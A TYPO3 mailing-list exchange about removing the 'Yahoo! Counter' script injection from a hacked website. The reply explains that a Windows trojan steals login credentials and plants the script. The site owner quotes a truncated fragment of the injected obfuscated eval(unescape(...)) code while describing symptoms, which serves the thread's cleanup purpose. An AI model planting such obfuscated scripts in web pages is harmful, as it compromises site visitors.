[TYPO3-english] How to remove "Yahoo! Counter starts" hack?

[Dmitry Dulepov]

Hi!

Gunnar Jonsson wrote:
> Some time ago I got the Yahoo Counter hack into my Typo3 website. After
> some time I managed to get rid of the symptoms, but now it seems that it
> is back again. Does anyone knows how to clean the typo3 website from
> that hack?
> 
> The symptoms is seen when you look at the sourcecode in the web browser,
> there is an extra script statement at the bottom of the page like this:
> 
> <script language=javascript><!-- Yahoo! Counter starts
> if(typeof(yahoo_counter)!=typeof(1))eval(unescape('#%2........
> 
> and it takes extra time to show the page in the web browser.

If anyone else got this issue, I suggest to check your local PC. There is a Windows virus that installs this trojan using hijacked login/password. More info:

http://forum.cmsmadesimple.org/index.php?topic=27818.msg133965

-- 
Dmitry Dulepov
TYPO3 core team
"Sometimes they go bad. No one knows why" (Cameron, TSCC, "Dungeons&Dragons")